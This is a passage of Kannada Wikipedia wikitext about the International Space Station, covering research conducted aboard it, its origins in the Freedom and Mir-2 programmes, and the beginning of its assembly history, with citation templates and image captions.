ಇರಲು ಮತ್ತು ಒಟ್ಟಿಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಅಲ್ಲದೇ ಭವಿಷ್ಯದ ಬಹು-ರಾಷ್ಟ್ರೀಯ ವೈಜ್ಞಾನಿಕ ಕಾರ್ಯಾಚರಣೆಗೆ ಪಠ್ಯ ವಿಷಯಗಳನ್ನು(ಪಾಠ) ಒದಗಿಸುತ್ತದೆ.<ref name="ISSRG" /><ref name="Gro Mjeldheim Sandal and Dietrich Manzey 1520–1529"/> ===ವೈಜ್ಞಾನಿಕ ಸಂಶೋಧನೆ=== {{Main|Scientific research on the ISS|l1=Scientific research on the ISS}} [[File:ISS-08_Michael_Foale_conducts_an_inspection_of_the_Microgravity_Science_Glovebox.jpg|thumb|alt=A man wearing a blue polo shirt reached into a large machine. The machine has a large windows at the front with two holes in it for access, and is full of scientific apparatus. Transient space station hardware is visible in the background.|ಸೂಕ್ಷ್ಮ ಗುರುತ್ವ ವಿಜ್ಞಾನದ ಗ್ಲವ್ ಬಾಕ್ಸ್ ನ ಪರೀಕ್ಷೆಯನ್ನು ಮಾಡುತ್ತಿರುವ, ಗಗನಯಾತ್ರೆ 8 ರ ಕಮಾಂಡರ್ ಮತ್ತು ವಿಜ್ಞಾನ ಅಧಿಕಾರಿಯಾದ ಮೈಕೆಲ್ ಫೋಲೆ.]] ಇಲ್ಲಿ ISS, ನಿಲ್ದಾಣದ ಮೇಲೆ ಅಗತ್ಯವಿರುವ ಒಂದು ಅಥವಾ ಅಧಿಕ ಅಸಾಮಾನ್ಯವಾದ ವಿಶೇಷ ಸ್ಥಿತಿಗಳ ಸಾಂದರ್ಭಿಕ ಪ್ರಯೋಗಗಳನ್ನು ನಡೆಸಲು ವೇದಿಕೆ ಒದಗಿಸುತ್ತದೆ. ಸಂಶೋಧನೆಯ ಪ್ರಧಾನ ಕ್ಷೇತ್ರಗಳು ಕೆಳಕಂಡಂತಿವೆ: ಮಾನವ ಸಂಶೋಧನೆ, ಬಾಹ್ಯಾಕಾಶ ಔಷಧಿ, ಜೀವ ಶಾಸ್ತ್ರಗಳು, ಭೌತಿಕ ಶಾಸ್ತ್ರಗಳು, [[ಖಗೋಳಶಾಸ್ತ್ರ|ಖಗೋಳ ವಿಜ್ಞಾನ]] ಮತ್ತು ಪವನಶಾಸ್ತ್ರ.<ref name="ISS overview" /><ref name="NASA Fields of Research" /><ref name="NASA ISS Goals" /> 2005 ರ NASA ಅಧಿಕಾರ ಅಧಿಕೃತಗೊಳಿಸುವ ಕಾಯಿದೆ , ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಅಮೇರಿಕನ್ ಭಾಗವನ್ನು, ಇತರ ಸಂಯುಕ್ತ ಪ್ರತಿನಿಧಿಗಳಿಂದ ಮತ್ತು ಖಾಸಗಿ ಕ್ಷೇತ್ರಗಳಿಂದ, ISS ಅನ್ನು ಹೆಚ್ಚಾಗಿ ಬಳಸುವಂತೆ ಮಾಡುವ, ಉದ್ದೇಶ ಹೊಂದಿರುವ ರಾಷ್ಟ್ರೀಯ ಪ್ರಯೋಗಾಲಯವೆಂದು ಪ್ರಮಾಣೀಕೃತವಾಗಿದೆ.<ref>{{cite web|title=NASA Authorization Act 2005|url=http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=109_cong_public_laws&docid=f:publ155.109.pdf|publisher=[[United States Government Printing Office]]|date=30 December 2005|accessdate=6 March 2009}}</ref> ISS ನ ಮೇಲೆ ನಡೆಸಿದ ಸಂಶೋಧನೆಯು, ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ದೀರ್ಘಕಾಲದವರೆಗೆ ಒಡ್ಡುವಿಕೆಯಿಂದ ಮಾನವನ ದೇಹದ ಮೇಲೆ ಉಂಟಾಗುವ ಪರಿಣಾಮಗಳ ಬಗೆಗಿನ ಜಾಗೃತಿ ಜ್ಞಾನವನ್ನು ಸುಧಾರಿಸುತ್ತದೆ. ಪ್ರಸ್ತುತ ಕೆಳಕಂಡ ವಿಷಯಗಳು ಅಧ್ಯಯನಕ್ಕೆ ಒಳಪಟ್ಟಿವೆ: ಸ್ನಾಯು ಕ್ಷೀಣತೆ, [[ಆಸ್ಟಿಯೊಪೊರೋಸಿಸ್‌]](ಅಸ್ಥಿರಂಧ್ರತೆ)ಮತ್ತು ಸ್ರವಿ ಬದಲಾವಣೆ. ಇದರಿಂದ ಪಡೆದ ದತ್ತಾಂಶವನ್ನು ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ವಾಸಮಾಡಬಹುದೇ ಮತ್ತು ಸುದೀರ್ಘವಾದ ಮಾನವಸಹಿತ ಆಕಾಶಯಾನವನ್ನು ಕಾರ್ಯಸಾಧ್ಯವೇ ಎಂಬುದನ್ನು ನಿರ್ಧರಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ. ಆಗ 2006 ರ ಹೊತ್ತಿಗೆ ಪಡೆಯಲಾದ ಅಸ್ಥಿರಂಧ್ರತೆ ಮತ್ತು ಸ್ನಾಯು ಕ್ಷೀಣಿಸುವಿಕೆಗಳ ಬಗೆಗಿನ ಮಾಹಿತಿ ದತ್ತಾಂಶವು, ಅಂತರಗ್ರಹದ ಮೇಲೆ ದೀರ್ಘಕಾಲದ ಸುತ್ತಾಟದ ನಂತರ (ಉದಾಹರಣೆಗೆ ಮಂಗಳಕ್ಕೆ ಹೋಗಲು ಆರು ತಿಂಗಳು ಪ್ರಯಾಣ ಮಾಡಬೇಕು) ಗಗನಯಾತ್ರಿಗಳು ಗ್ರಹದ ಮೇಲೆ ಇಳಿದರೆ, ಅವರ ಮೂಳೆ ಮುರಿದು ಹೋಗಬಹುದು ಮತ್ತು ಚಲನಾ ಸಮಸ್ಯೆಗಳು ಕಾಣಿಸಿಕೊಳ್ಳಬಹುದಾದ ಸಾಧ್ಯತೆಗಳಿವೆ ಎಂಬುದನ್ನು ಸೂಚಿಸುತ್ತದೆ.<ref name="JCB"/><ref name="List Grossman"/> ISSನಲ್ಲಿ ನ್ಯಾಷನಲ್ ಸ್ಪೇಸ್ ಅಂಡ್ ಬಯೋ ಮೆಡಿಕಲ್ ರಿಸರ್ಚ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್(NSBRI) ಬೃಹತ್ ಮಟ್ಟದ ವೈದ್ಯಕೀಯ ಅಧ್ಯಯನಗಳನ್ನು ನಡೆಸುತ್ತಿದೆ. ಇವುಗಳಲೆಲ್ಲ ಅಡ್ವಾನ್ಸ್ಡ್ ಡಯಗ್ನಾಸ್ಟಿಕ್ ಅಲ್ಟ್ರಾಸೌಂಡ್ ಇನ್ ಮೈಕ್ರೋಗ್ರಾವಿಟಿ ಅಧ್ಯಯನವು ಅತ್ಯಂತ ಪ್ರಮುಖವಾಗಿದೆ. ಈ ಅಧ್ಯಯನದಲ್ಲಿ ಗಗನಯಾತ್ರಿಗಳು (ISS ನ ಹಿಂದಿನ ಕಮಾಂಡರ್ ಗಳಾದ ಲೆರಾಯ್ ಚಿಯೊ ಮತ್ತು ಗೆನ್ಯಾಡಿ ಪ್ಯಡಲ್ಕ)ದೂರದಲ್ಲಿರುವ ತಜ್ಞರ ಮಾರ್ಗದರ್ಶನದಡಿ ಅಲ್ಟ್ರಾಸೌಂಡ್ ಸ್ಕ್ಯಾನ್ (ಶ್ರವಣಾತೀತ ಸ್ಕ್ಯಾನ್)ಅನ್ನು ಮಾಡುತ್ತಾರೆ. ಈ ಅಧ್ಯಯನವು, ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿನ ವೈದ್ಯಕೀಯ ಪರಿಸ್ಥಿತಿಯ ನಿರ್ಣಯ ಮತ್ತು ಚಿಕಿತ್ಸೆಯನ್ನು ಪರಿಗಣಿಸುತ್ತದೆ. ಸಾಮಾನ್ಯವಾಗಿ, ISS ನಲ್ಲಿ ಯಾವ ವೈದ್ಯರೂ ಇರದ ಕಾರಣ, ವೈದ್ಯಕೀಯ ಪರಿಸ್ಥಿತಿಯನ್ನು ನಿರ್ಣಯಿಸುವುದು ಒಂದು ಸವಾಲಾಗಿರುತ್ತದೆ. ತಜ್ಞ ವೈದ್ಯರನ್ನು ತಲುಪಲು ಕಷ್ಟವಾಗಿರುವ ತುರ್ತುಪರಿಸ್ಥಿತಿ ಮತ್ತು ಗ್ರಾಮೀಣ ಕಾಳಜಿಯ ಸಂದರ್ಭದಲ್ಲಿ, ದೂರದಿಂದ ನಿರ್ದೇಶಿತ ಅಲ್ಟ್ರಾಸೌಂಡ್ ಸ್ಕ್ಯಾನ್ ಗಳನ್ನು ಭೂಮಿಯ ಮೇಲೆ ಅಳವಡಿಸಬಹುದಾಗಿದೆ ಎಂದು ಮುಂಗಾಣಲಾಗಿದೆ.<ref name="Brooke Boen"/><ref name="Sishir Rao et al. 2008 745–749"/><ref name="Michael Fincke et al. 2004 319–322"/> ನಿಲ್ದಾಣದ ಹತ್ತಿರವಿರುವ-ತೂಕರಹಿತ ಪರಿಸರ, ವಿಕಸನ, ಅಭಿವೃದ್ಧಿ, ಪ್ರಗತಿ ಹಾಗು ಸಸ್ಯಗಳ ಮತ್ತು ಪ್ರಾಣಿಗಳ ಆಂತರಿಕ ಕಾರ್ಯವಿಧಾನದಲ್ಲಿ ಉಂಟುಮಾಡುವ ಪರಿಣಾಮವನ್ನು ಸಂಶೋಧಕರು ಪರೀಕ್ಷಿಸುತ್ತಾರೆ. ಈ ಕೆಲವು ದತ್ತಾಂಶಕ್ಕೆ ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿ, NASA ತನ್ನ ಪ್ರಯೋಗಗಳಲ್ಲಿ ತ್ರಿವಿಮೀತಿಯ, ಮಾನವರಂತಹ ಅಂಗಾಂಶ ಮತ್ತು ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ರಚನೆಗೊಂಡ ಅಸಾಮಾನ್ಯವಾದ ಪ್ರೋಟೀನ್ ಸ್ಫಟಿಕಗಳ, ಬೆಳವಣಿಗೆಯ ಮೇಲೆ ಸೂಕ್ಷ್ಮ ಗುರುತ್ವದ ಪರಿಣಾಮವನ್ನು ಪರೀಕ್ಷಿಸಲು ಬಯಸುತ್ತದೆ.<ref name="NASA Fields of Research" /> ಸೂಕ್ಷ್ಮ ಗುರುತ್ವದಲ್ಲಿ ನಡೆಸುವ ಸ್ರವಿಯ ಭೌತಶಾಸ್ತ್ರದ ಪರೀಕ್ಷೆಯು, ಸಂಶೋಧಕರಿಗೆ ದ್ರವಗಳ ಪ್ರವೃತ್ತಿಯ ಮಾದರಿಯನ್ನು ಉತ್ತಮವಾಗಿ ರಚಿಸಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಏಕೆಂದರೆ ಸ್ರಾವಗಳು ಸಂಪೂರ್ಣವಾಗಿ ಸೂಕ್ಷ್ಮಗುರುತ್ವದಲ್ಲಿ ಸೇರಿಕೊಳ್ಳುತ್ತವೆ. ಆದರೆ ಈ ತೆರನಾದ ಪ್ರವೃತ್ತಿಯ ಸ್ರಾವಗಳು ಭೂಮಿಯ ಮೇಲೆ ಚೆನ್ನಾಗಿ ಬೆರೆಯುವುದಿಲ್ಲ ಎಂಬುದನ್ನು ಭೌತವಿಜ್ಞಾನಿಗಳು ಕಂಡುಹಿಡಿದಿದ್ದಾರೆ. ಇದರ ಜೊತೆಯಲ್ಲಿ, ಕಡಿಮೆ ಗುರುತ್ವ ಮತ್ತು ತಾಪಮಾನದಿಂದಾಗಿ ನಿಧಾನಗೊಂಡ ಪ್ರತಿಕ್ರಿಯೆಗಳ ಪರೀಕ್ಷೆಗಳು, ವಿಜ್ಞಾನಿಗಳಿಗೆ ಅಧಿವಾಹಕತೆಯ ಬಗ್ಗೆ ಆಳವಾಗಿ ಅರ್ಥಮಾಡಿಕೊಳ್ಳುವಂತೆ ಮಾಡುತ್ತವೆ.<ref name="NASA Fields of Research" /> ವಸ್ತು ವಿಜ್ಞಾನದ ಅಧ್ಯಯನವು ISS ನ ಅತ್ಯಂತ ಪ್ರಮುಖ ಸಂಶೋಧನಾ ಚಟುವಟಿಕೆಯಾಗಿದೆ. ಇದು ಭೂಮಿಯ ಮೇಲೆ ಬಳಸಲಾಗುವ ವಿಧಾನಗಳನ್ನು ಉತ್ತಮಗೊಳಿಸುವ ಮೂಲಕ ಆರ್ಥಿಕ ಅನುಕೂಲತೆಗಳನ್ನು ಪಡೆಯುವ ಗುರಿ ಹೊಂದಿದೆ.<ref name="Materials Science 101"/> ದಹನಕ್ರಿಯೆಯ ಮೇಲೆ ಕಡಿಮೆ ಗುರುತ್ವ ಪರಿಸರದ ಪರಿಣಾಮವು ಕೂಡ ಮತ್ತೊಂದು ಆಸಕ್ತಿದಾಯಕ ಕ್ಷೇತ್ರವಾಗಿದೆ. ಇದನ್ನು ದಹನದ ದಕ್ಷತೆಯ ಅಧ್ಯಯನದ ಮೂಲಕ ಹಾಗು ಉತ್ಸರ್ಜನಗಳ ಮತ್ತು ಮಲೀನಕಾರಿಗಳ ನಿಯಂತ್ರಣದ ಮೂಲಕ ಮಾಡಲಾಗುತ್ತದೆ. ಈ ಆವಿಷ್ಕಾರಗಳು ಶಕ್ತಿ ಉತ್ಪಾದನೆಯ ಬಗೆಗಿನ ನಮ್ಮ ಜ್ಞಾನವನ್ನು ಬೆಳೆಸುತ್ತವೆ. ಅಲ್ಲದೇ ಆರ್ಥಿಕ ಮತ್ತು ಪರಿಸರದ ಲಾಭವನ್ನು ಪಡೆಯುವಂತೆ ಮಾಡುತ್ತವೆ. ISS ನಲ್ಲಿ ಸಂಶೋಧಕರು ಭವಿಷ್ಯದಲ್ಲಿ ನಡೆಸಬೇಕಾದ ಸಂಶೋಧನೆಯ ಯೋಜನೆಗಳು ಕೆಳಕಂಡಂತಿವೆ: ಏರೊಸಾಲ್ ಗಳು,(ಗಾಳಿಯಲ್ಲಿ ಹರಡಿದ ಮಂಜು) ಓಝೋನ್, ನೀರಿನ ಹಬೆ ಮತ್ತು ಭೂಮಿಯ ವಾತಾವರಣದಲ್ಲಿ ಆಕ್ಸೈಡ್ ಗಳು ಹಾಗು ಕಾಸ್ಮಿಕ್ ಕಿರಣ ಗಳು, ಬ್ರಹ್ಮಾಂಡದ ಧೂಳಿ, [[ಪ್ರತಿದ್ರವ್ಯ]], ಮತ್ತು ವಿಶ್ವದಲ್ಲಿನ [[ಡಾರ್ಕ್ ಮ್ಯಾಟರ್]] (ಅಜ್ಞಾತ ಕಪ್ಪು ದ್ರವ್ಯ) ನ ಶೋಧನೆ.<ref name="NASA Fields of Research" /> ==ಮೂಲಗಳು== {{Main|Shuttle–Mir Program}} {{See also|Space Station Freedom|Mir-2}} [[File:Atlantis Docked to Mir.jpg|thumb|upright=1.1|[85] docked to Mir on STS-71, during the Shuttle-Mir Program|alt=A ಗರಿಯಂತಿರುವ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳೊಂದಿಗೆ ಸಿಲಿಂಡರ್ ಆಕಾರದ ಘಟಕಗಳ ಸಮೂಹ ಮತ್ತು ಕೆಳ ಘಟಕವನ್ನು ಸಂಧಿಸುತ್ತಿರುವ ಬಾನಗಾಡಿ. ಹಿನ್ನೆಲೆಯು ಬಾಹ್ಯಾಕಾಶದ ಕತ್ತಲೆಯಾಗಿದ್ದು, ಬಲ ಬದಿಯ ಕೆಳಗೆ ಕಾಣುತ್ತಿರುವುದು ಭೂಮಿಯಾಗಿದೆ.]] ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಪರಿಕಲ್ಪನೆಯು, [[ಶೀತಲ ಸಮರ]]ದ ಸಂದರ್ಭದಲ್ಲಿ ಹುಟ್ಟಿಕೊಂಡ ಅನೇಕ ರಾಷ್ಟ್ರಗಳ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ ಯೋಜನೆಯ ಸಹಯೋಗವನ್ನು (ಒಕ್ಕೂಟವನ್ನು) ಪ್ರತಿನಿಧಿಸುತ್ತದೆ. 1980 ರ ಪೂರ್ವಾರ್ಧದಲ್ಲಿ, NASA ''ಫ್ರೀಡಮ್'' ಎಂದು ಕರೆಯಲಾಗುವ, ಮಾಡ್ಯೂಲ್ ಗಳ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣವನ್ನು ಉಡಾವಣೆ ಮಾಡಿ ಸ್ಥಾಯಿಗೊಳಿಸಲು ಆಲೋಚಿಸಿತು. ಸೋವಿಯತ್ ರಷ್ಯನ್ನರು 1990 ರಲ್ಲಿ ''ಮಿರ್'' ನ ಬದಲಿಗೆ ''ಮಿರ್'' -2 ವನ್ನು ನಿರ್ಮಿಸಲು ಯೋಜಿಸುತ್ತಿರುವಾಗ, ಇದನ್ನು ಸೋವಿಯತ್ ರಷ್ಯಾದ ''ಸಾಲ್ಯುತ್'' ಮತ್ತು ''ಮಿರ್'' ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣಗಳ ಪ್ರತಿಯಾಗಿ ಉಡಾವಣೆ ಮಾಡಲು ಯೋಜಿಸಲಾಗಿತ್ತು.<ref name="SSSM"> {{cite book|author=David Harland|title=The Story of Space Station Mir|publisher=Springer-Verlag New York Inc|date=30 November 2004|location=New York|url=http://www.amazon.co.uk/exec/obidos/ASIN/0387230114/ref=ord_cart_shr/202-3649698-1866219?%5Fencoding=UTF8&m=A3P5ROKL5A1OLE|isbn=978-0-387-23011-5}}</ref> ಬಜೆಟ್ (ಹಣಕಾಸು)ಮತ್ತು ವಿನ್ಯಾಸ ನಿರ್ಬಂಧಗಳ ಕಾರಣ ''ಫ್ರೀಡಮ್'' ಹಿಂದಿನ ಮಾದರಿಯನ್ನು ಅನುಸರಿಸದಾಯಿತು. ಅಲ್ಲದೇ ಕಿರು ಘಟಕ ಪರೀಕ್ಷೆಗಳನ್ನು ಕೂಡ ನಡೆಸಲಾಗಲಿಲ್ಲ. ಸೋವಿಯತ್ ಒಕ್ಕೂಟದ ವಿಭಜನೆಯಿಂದ ಮತ್ತು ಸ್ಪೇಸ್ ರೇಸ್ ನ ಅಂತ್ಯದಿಂದಾಗಿ, ''ಫ್ರೀಡಮ್'' ಅನ್ನು ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹೌಸ್ ಆಫ್ ರೆಪ್ರೆಸೆಂಟೇಟಿವ್ಸ್ ರದ್ದುಪಡಿಸಿದರು. ರಷ್ಯಾದಲ್ಲಿನ ಆನಂತರದ ಆರ್ಥಿಕ ಮುಗ್ಗಟ್ಟಿನಿಂದಾಗಿ ಪೊಸ್ಟ್-ಸೋವಿಯತ್ ಎಕನಾಮಿಕ್ ಕೇಆಸ್, ''ಮಿರ್'' -2 ಅನ್ನು ಕೇವಲ ಅದರ ಬೇಸ್ ಬ್ಲಾಕ್ ನಂತರವಷ್ಟೇ ರದ್ದುಪಡಿಸಿತು. ಅಷ್ಟರಲ್ಲಿ DOS-8 ಅನ್ನು ನಿರ್ಮಿಸಲಾಗಿತ್ತು.<ref name="SSSM" /> ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ ಯೋಜನೆಗಳಿಗಾಗಿ ಇದೇ ರೀತಿಯ ಬಜೆಟ್ ಗೆ ಸಂಬಂಧಿಸಿದ ತೊಂದರೆಗಳನ್ನು ಅನೇಕ ರಾಷ್ಟ್ರಗಳು ಕೂಡ ಅನುಭವಿಸಿದವು. ಈ ಪರಿಸ್ಥಿತಿಯು 1990 ರಲ್ಲಿ ಸಹಯೋಗಿ ಯೋಜನೆಯನ್ನು ಪ್ರಾರಂಭಿಸಲು, ಅಮೇರಿಕಾದ ಸರ್ಕಾರವನ್ನು ಯುರೋಪಿನ ರಾಷ್ಟ್ರಗಳು, ರಷ್ಯಾ, ಜಪಾನ್, ಮತ್ತು ಕೆನಡಾದೊಂದಿಗೆ ಸಂಧಾನಮಾಡಿಕೊಳ್ಳುವಂತೆ ಮಾಡಿತು.<ref name="SSSM" /> ನಂತರ 1992 ರ ಜೂನ್ ನಲ್ಲಿ ಅಮೇರಿಕದ ಅಧ್ಯಕ್ಷ [[ಜಾರ್ಜ್ ಎಚ್. ಡಬ್ಲ್ಯು. ಬುಷ್|ಜಾರ್ಜ್ H. W. ಬುಷ್]] ಮತ್ತು ರಷ್ಯಾದ ಅಧ್ಯಕ್ಷ ಬೋರಿಸ್ ಯೆಲ್ಸ್ಟೀನ್ ರವರು ಬಾಹ್ಯಾಕಾಶ ಪರಿಶೋಧನೆಯಯ ಮೇಲೆ ಸಹಕರಿಸಲು ಒಪ್ಪಿದರು. ''ಶಾಂತಿಯುತ ಉದ್ದೇಶಕ್ಕಾಗಿ ಬಾಹ್ಯಾಕಾಶದ ಪರಿಶೋಧನೆ ಮತ್ತು ಬಳಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ, ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಮತ್ತು ರಷ್ಯನ್ ಫೆಡರೇಷನ್ ನ ನಡುವೆ ಮಾಡಿಕೊಂಡ ಒಪ್ಪಂದವನ್ನು'' , ಅಲ್ಪಕಾಲಾವಧಿಯ ಜಂಟಿ ಬಾಹ್ಯಾಕಾಶ ಕಾರ್ಯಯೋಜನೆ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಇದರ ಜೊತೆಗೆ ರಷ್ಯನ್ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣವಾದ ''ಮಿರ್'' ನಲ್ಲಿ ಅಮೇರಿಕದ ಗಗನಯಾತ್ರಿಯನ್ನು ನಿಯೋಜಿಸಲಾಯಿತು, ಮತ್ತು ರಷ್ಯಾದ ಇಬ್ಬರು ಅಂತರಿಕ್ಷಯಾತ್ರಿ ಗಳನ್ನು ಬಾನಗಾಡಿಗೆ ನಿಯೋಜಿಸಲಾಯಿತು.<ref name="SSSM" /> 1993 ರ ಸೆಪ್ಟೆಂಬರ್ ನಲ್ಲಿ, ಅಮೇರಿಕಾದ ಉಪಾಧ್ಯಕ್ಷ ಅಲ್ ಗೋರ್, Jr. ಮತ್ತು ರಷ್ಯಾದ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳಾದ ಚೆರ್ನೊಮೈರ್ಡಿನ್ ರವರು ಹೊಸ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣಕ್ಕಾಗಿ ಯೋಜನೆಗಳನ್ನು ಪ್ರಕಟಿಸಿದರು. ಇದು ಅಂತಿಮವಾಗಿ ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣವಾಯಿತು.<ref name="gao">{{cite web|url=http://archive.gao.gov/t2pbat3/151975.pdf|title=''Space Station: Impact of the Expanded Russian Role on Funding and Research''|accessdate=3 November 2006|author=Donna Heivilin|date=21 June 1994|format=PDF|publisher=[[Government Accountability Office]]}}</ref> ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ''ಮಿರ್'' ಕಾರ್ಯಯೋಜನೆಯಲ್ಲಿ ಹೆಚ್ಚಾಗಿ ತೊಡಗಿತ್ತು. ಅವರು ಈ ಹೊಸ ಯೋಜನೆಯ ತಯಾರಿಗಾಗಿ ಒಪ್ಪಂದದ ಭಾಗವೆಂಬಂತೆ, ಅನಂತರ ಬಾಹ್ಯಾಕಾಶ ಷೆಟಲ್ ಆರ್ಬಿಟಲ್ ಅನ್ನು ''ಮಿರ್'' ನೊಂದಿಗೆ ಸೇರಿಸಲು ಕೂಡ ಒಪ್ಪಿಕೊಂಡರು.<ref name="SMB" /> ಯೋಜನೆಯ ಪ್ರಕಾರ, ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಕಾರ್ಯಯೋಜನೆಯು, ಎಲ್ಲಾ ಸಹಯೋಗಿ ಪ್ರತಿನಿಧಿಗಳು ಸೂಚಿಸಿರುವ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣಗಳನ್ನು ಒಟ್ಟುಗೂಡಿಸುತ್ತದೆ: NASA ದ ''ಫ್ರೀಡಮ್'' , RSA ಯ ''ಮಿರ್'' -2 ( DOS-8 ನೊಂದಿಗೆ ಅನಂತರ ''ಜ್ವೆಜ್ದ'' ), ESA ಯ ''ಕೊಲಂಬಸ್'' , ಮತ್ತು ಜಪಾನೀಯರ ''ಕಿಬೋ'' ಪ್ರಯೋಗಾಲಯದೊಂದಿಗೆ ಸಹಭಾಗಿತ್ವ ತೋರುತ್ತದೆ. 1998 ರಲ್ಲಿ ಮೊದಲನೆಯ ಘಟಕವಾದ ''ಜಾರ್ಯ'' ವನ್ನು ಉಡಾವಣೆ ಮಾಡಿದಾಗ, ನಿಲ್ದಾಣವು 2003 ರ ಹೊತ್ತಿಗೆ ಪೂರ್ತಿಗೊಳ್ಳಬೇಕೆಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿತ್ತು. ವಿಳಂಬಗಳಿಂದಾಗಿ 2011 ನೇ ವರ್ಷದಲ್ಲಿ ಸಂಪೂರ್ಣಗೊಳ್ಳುವುದೆಂದು ಪುನಃ ಅಂದಾಜುಮಾಡಲಾಯಿತು.<ref name="Manifest">{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/iss_manifest.html|title=Consolidated Launch Manifest|accessdate=8 July 2008|publisher=NASA|author=NASA|year=2008}}</ref> ==ನಿಲ್ದಾಣದ ರಚನೆ== [[File:STS-124 Garan EVA2.jpg|thumb|260px|alt=An astronaut uses a screwdriver to activate a docking port on an ISS module.|STS-124 ISS ನ ಜೋಡಣಾ ಆಕಾಶ ನಡಿಗೆಯ ಸಂದರ್ಭದಲ್ಲಿರುವ ಗಗನಯಾತ್ರಿ ರಾನ್ ಗೆರಾನ್.]] [[File:January 2009 ISS tour.ogg|300px|right|thumb|ಗಗನಯಾತ್ರೆ 18 ರ ಕಮಾಂಡರ್ ಮೈಕೆಲ್ ಫಿಂಕೆ ರವರು, ಜನವರಿ 2009 ರಿಂದ ISS ನ ವಾಸಯೋಗ್ಯ ಭಾಗಗಳಲ್ಲಿ ಕೈಗೊಂಡ ವಿಡಿಯೋ ಯಾತ್ರೆ|alt=A ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಒಳಗೆಲ್ಲಾ ಸಂಚರಿಸಿದ ವಿಡಿಯೋ.]] {{Main|Assembly of the International Space Station}}{{See also|List of ISS spacewalks}} [[File:January 2009 ISS tour.ogg|left|thumb|ನೋಡ್(ನಿಸ್ಪಂದ) 2 ರ ಮುಂಭಾಗದ ಕೊನೆಯಲ್ಲಿ ಪ್ರಾರಂಭಿಸುವ ಮೂಲಕ ಯಾತ್ರೆಯು PMA-2 ಅನ್ನು ತೋರಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಜಪಾನೀಯರ ಪ್ರಯೋಗ ಘಟಕ, ಕೊಲಂಬಸ್ ಮತ್ತು ಡೆಸ್ಟಿನಿ ಪ್ರಯೋಗಾಲಯಗಳು, ಅನಂತರ ನೋಡ್ 1 ಮತ್ತು ಕ್ವೆಸ್ಟ್ ವಾಯುಬಂಧವನ್ನು ತೋರಿಸುತ್ತದೆ.]] ===ಜೋಡಣೆ (ಅಸೆಂಬ್ಲಿ) === [[File:January 2009 ISS tour.ogg|left|thumb| ಯಾತ್ರೆಯು ಅನಂತರ PMA-1 ರ ಮೂಲಕ ಮುಂದುವರೆದು, ರಷ್ಯಾದ ಭಾಗವನ್ನು ತಲುಪಿತು. ಅಲ್ಲದೇ FGBಯನ್ನು, ಸೇರ್ಪಡೆ ಮಾಡಲಾದ ಸೊಯುಜ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆ ಮತ್ತು ಜೋಡಣೆಯ ವಿಭಾಗವನ್ನು, ಸೇವಾ ಘಟಕವನ್ನು ಮತ್ತು ಸಾಗುತ್ತಿರುವ ಎರಡು ಬಾಹ್ಯಾಕಾಶನೌಕೆಗಳನ್ನು ಸಂಪರ್ಕಿಸಿತು.]] ==ವಿವರ== ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಜೋಡಣೆಯು, ಬಾಹ್ಯಾಕಾಶ ವಾಸ್ತುಶಿಲ್ಪದಲ್ಲಿ ಮಾಡಿದ ಅತ್ಯಂತ ದೊಡ್ಡ ಸಾಹಸವಾಗಿದ್ದು, ಇದನ್ನು ನವೆಂಬರ್ 1998 ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸಲಾಯಿತು.<ref name="OnOrbit">{{cite web|url=https://www.nasa.gov/externalflash/ISSRG/pdfs/on_orbit.pdf|title=On-Orbit Elements|publisher=NASA|author=NASA|date=18 February 2010|accessdate=19 June 2010|format=PDF|archive-date=25 ಫೆಬ್ರವರಿ 2017|archive-url=https://web.archive.org/web/20170225143620/https://www.nasa.gov/externalflash/ISSRG/pdfs/on_orbit.pdf|url-status=dead}}</ref> ಗಗನಯಾತ್ರಿಗಳು ಆಕಾಶ ನಡಿಗೆಯ ಮೂಲಕ ಪ್ರತಿಯೊಂದು ಭಾಗಗಳನ್ನು ಅಳವಡಿಸುತ್ತಾರೆ. ಆಗ 2009 ರ ನವೆಂಬರ್ 27 ರ ಹೊತ್ತಿಗೆ ಅವರು 136 ಭಾಗಗಳನ್ನು ಜೋಡಿಸಿದ್ದರು, ಒಟ್ಟಾಗಿ 849&nbsp;ಗಂಟೆಗಳ 